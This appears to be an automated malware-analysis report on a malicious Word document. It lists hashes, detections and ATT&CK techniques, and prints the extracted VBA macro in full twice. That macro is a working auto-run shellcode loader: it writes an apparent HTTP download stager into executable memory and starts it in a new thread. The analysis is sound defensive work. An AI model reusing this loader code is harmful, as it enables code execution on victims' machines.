Office (OLE) malware analysis — malicious · 104e3e3a3ddaac81

MALICIOUS

Office (OLE)

34.5 KB Created: 2014-03-04 05:28:00 Authoring application: Microsoft Macintosh Word First seen: 2015-09-17

MD5: 5f2948ccb29b6620b2deb83ae63bb5c0 SHA-1: fe19f66ae15dafc9aee7d9d8b82e586c4f0b2047 SHA-256: 104e3e3a3ddaac8137f8e6a06d2b9fac5d484821398e53598a5ec6daa7d6ed84

206 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1059.005 Visual Basic

The sample is a malicious Microsoft Word document that leverages a known memory corruption vulnerability (CVE-2007-3899) to achieve code execution. The embedded VBA macro utilizes the VirtualAlloc API, suggesting it allocates memory for and executes shellcode. This is further supported by the presence of an AutoOpen macro, a common technique for automatically running malicious code upon document opening. The ClamAV detection name 'Doc.Dropper.Valyria-6680543-0' indicates a dropper functionality, likely to download and execute a second-stage payload.

Heuristics 9

CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899

Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
ClamAV: Doc.Dropper.Valyria-6680543-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Dropper.Valyria-6680543-0
Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC

Reference to VirtualAlloc API
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
End Sub
Sub AutoOpen()
    Auto_Open
```
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
End Sub
Sub Workbook_Open()
    Auto_Open
```

Auto_Open macro low OLE_VBA_AUTO

Auto_Open macro

Matched line in script

Sub Auto_Open()
    Dim Nkcsw As Long, Wqdznwzfv As Variant, Bqyo As Long

Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3394 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	3394 bytes
SHA-256: `a024e4e333436304d935f820b232cfbe47406f80a744175ab70ce7cf69ca1f30`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True #If Vba7 Then Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Oynsodi As Long, ByVal Gmppcwrr As Long, ByVal Hcj As LongPtr, Ceaztry As Long, ByVal Ltw As Long, Qwxbezml As Long) As LongPtr Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Hudgs As Long, ByVal Boihnesfr As Long, ByVal Moamcg As Long, ByVal Aieipri As Long) As LongPtr Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Tmwgxx As LongPtr, ByRef Zipscpd As Any, ByVal Hlqecfkw As Long) As LongPtr #Else Private Declare Function CreateThread Lib "kernel32" (ByVal Oynsodi As Long, ByVal Gmppcwrr As Long, ByVal Hcj As Long, Ceaztry As Long, ByVal Ltw As Long, Qwxbezml As Long) As Long Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Hudgs As Long, ByVal Boihnesfr As Long, ByVal Moamcg As Long, ByVal Aieipri As Long) As Long Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Tmwgxx As Long, ByRef Zipscpd As Any, ByVal Hlqecfkw As Long) As Long #End If Sub Auto_Open() Dim Nkcsw As Long, Wqdznwzfv As Variant, Bqyo As Long #If Vba7 Then Dim Psb As LongPtr, Gnftdaj As LongPtr #Else Dim Psb As Long, Gnftdaj As Long #End If Wqdznwzfv = Array(232, 137, 0, 0, 0, 96, 137, 229, 49, 210, 100, 139, 82, 48, 139, 82, 12, 139, 82, 20, _ 139, 114, 40, 15, 183, 74, 38, 49, 255, 49, 192, 172, 60, 97, 124, 2, 44, 32, 193, 207, _ 13, 1, 199, 226, 240, 82, 87, 139, 82, 16, 139, 66, 60, 1, 208, 139, 64, 120, 133, 192, _ 116, 74, 1, 208, 80, 139, 72, 24, 139, 88, 32, 1, 211, 227, 60, 73, 139, 52, 139, 1, _ 214, 49, 255, 49, 192, 172, 193, 207, 13, 1, 199, 56, 224, 117, 244, 3, 125, 248, 59, 125, _ 36, 117, 226, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, _ 139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 88, 95, 90, 139, 18, _ 235, 134, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, 255, _ 213, 49, 255, 87, 87, 87, 87, 106, 0, 84, 104, 58, 86, 121, 167, 255, 213, 235, 75, 91, _ 49, 201, 81, 81, 106, 3, 81, 81, 104, 80, 0, 0, 0, 83, 80, 104, 87, 137, 159, 198, _ 255, 213, 235, 52, 89, 49, 210, 82, 104, 0, 2, 96, 132, 82, 82, 82, 81, 82, 80, 104, _ 235, 85, 46, 59, 255, 213, 137, 198, 106, 16, 91, 49, 255, 87, 87, 87, 87, 86, 104, 45, _ 6, 24, 123, 255, 213, 133, 192, 117, 26, 75, 116, 16, 235, 233, 235, 73, 232, 199, 255, 255, _ 255, 47, 88, 85, 75, 100, 0, 0, 104, 240, 181, 162, 86, 255, 213, 106, 64, 104, 0, 16, _ 0, 0, 104, 0, 0, 64, 0, 87, 104, 88, 164, 83, 229, 255, 213, 147, 83, 83, 137, 231, _ 87, 104, 0, 32, 0, 0, 83, 86, 104, 18, 150, 137, 226, 255, 213, 133, 192, 116, 205, 139, _ 7, 1, 195, 133, 192, 117, 229, 88, 195, 232, 101, 255, 255, 255, 49, 50, 55, 46, 48, 46, _ 48, 46, 49, 0) Psb = VirtualAlloc(0, UBound(Wqdznwzfv), &H1000, &H40) For Bqyo = LBound(Wqdznwzfv) To UBound(Wqdznwzfv) Nkcsw = Wqdznwzfv(Bqyo) Gnftdaj = RtlMoveMemory(Psb + Bqyo, Nkcsw, 1) Next Bqyo Gnftdaj = CreateThread(0, 0, Psb, 0, 0, 0) End Sub Sub AutoOpen() Auto_Open End Sub Sub Workbook_Open() Auto_Open End Sub

SHA-256: a024e4e333436304d935f820b232cfbe47406f80a744175ab70ce7cf69ca1f30

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
#If Vba7 Then
    Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Oynsodi As Long, ByVal Gmppcwrr As Long, ByVal Hcj As LongPtr, Ceaztry As Long, ByVal Ltw As Long, Qwxbezml As Long) As LongPtr
    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Hudgs As Long, ByVal Boihnesfr As Long, ByVal Moamcg As Long, ByVal Aieipri As Long) As LongPtr
    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Tmwgxx As LongPtr, ByRef Zipscpd As Any, ByVal Hlqecfkw As Long) As LongPtr
#Else
    Private Declare Function CreateThread Lib "kernel32" (ByVal Oynsodi As Long, ByVal Gmppcwrr As Long, ByVal Hcj As Long, Ceaztry As Long, ByVal Ltw As Long, Qwxbezml As Long) As Long
    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Hudgs As Long, ByVal Boihnesfr As Long, ByVal Moamcg As Long, ByVal Aieipri As Long) As Long
    Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Tmwgxx As Long, ByRef Zipscpd As Any, ByVal Hlqecfkw As Long) As Long
#End If

Sub Auto_Open()
    Dim Nkcsw As Long, Wqdznwzfv As Variant, Bqyo As Long
#If Vba7 Then
    Dim Psb As LongPtr, Gnftdaj As LongPtr
#Else
    Dim Psb As Long, Gnftdaj As Long
#End If
    Wqdznwzfv = Array(232, 137, 0, 0, 0, 96, 137, 229, 49, 210, 100, 139, 82, 48, 139, 82, 12, 139, 82, 20, _
139, 114, 40, 15, 183, 74, 38, 49, 255, 49, 192, 172, 60, 97, 124, 2, 44, 32, 193, 207, _
13, 1, 199, 226, 240, 82, 87, 139, 82, 16, 139, 66, 60, 1, 208, 139, 64, 120, 133, 192, _
116, 74, 1, 208, 80, 139, 72, 24, 139, 88, 32, 1, 211, 227, 60, 73, 139, 52, 139, 1, _
214, 49, 255, 49, 192, 172, 193, 207, 13, 1, 199, 56, 224, 117, 244, 3, 125, 248, 59, 125, _
36, 117, 226, 88, 139, 88, 36, 1, 211, 102, 139, 12, 75, 139, 88, 28, 1, 211, 139, 4, _
139, 1, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 88, 95, 90, 139, 18, _
235, 134, 93, 104, 110, 101, 116, 0, 104, 119, 105, 110, 105, 84, 104, 76, 119, 38, 7, 255, _
213, 49, 255, 87, 87, 87, 87, 106, 0, 84, 104, 58, 86, 121, 167, 255, 213, 235, 75, 91, _
49, 201, 81, 81, 106, 3, 81, 81, 104, 80, 0, 0, 0, 83, 80, 104, 87, 137, 159, 198, _
255, 213, 235, 52, 89, 49, 210, 82, 104, 0, 2, 96, 132, 82, 82, 82, 81, 82, 80, 104, _
235, 85, 46, 59, 255, 213, 137, 198, 106, 16, 91, 49, 255, 87, 87, 87, 87, 86, 104, 45, _
6, 24, 123, 255, 213, 133, 192, 117, 26, 75, 116, 16, 235, 233, 235, 73, 232, 199, 255, 255, _
255, 47, 88, 85, 75, 100, 0, 0, 104, 240, 181, 162, 86, 255, 213, 106, 64, 104, 0, 16, _
0, 0, 104, 0, 0, 64, 0, 87, 104, 88, 164, 83, 229, 255, 213, 147, 83, 83, 137, 231, _
87, 104, 0, 32, 0, 0, 83, 86, 104, 18, 150, 137, 226, 255, 213, 133, 192, 116, 205, 139, _
7, 1, 195, 133, 192, 117, 229, 88, 195, 232, 101, 255, 255, 255, 49, 50, 55, 46, 48, 46, _
48, 46, 49, 0)

    Psb = VirtualAlloc(0, UBound(Wqdznwzfv), &H1000, &H40)
    For Bqyo = LBound(Wqdznwzfv) To UBound(Wqdznwzfv)
        Nkcsw = Wqdznwzfv(Bqyo)
        Gnftdaj = RtlMoveMemory(Psb + Bqyo, Nkcsw, 1)
    Next Bqyo
    Gnftdaj = CreateThread(0, 0, Psb, 0, 0, 0)
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.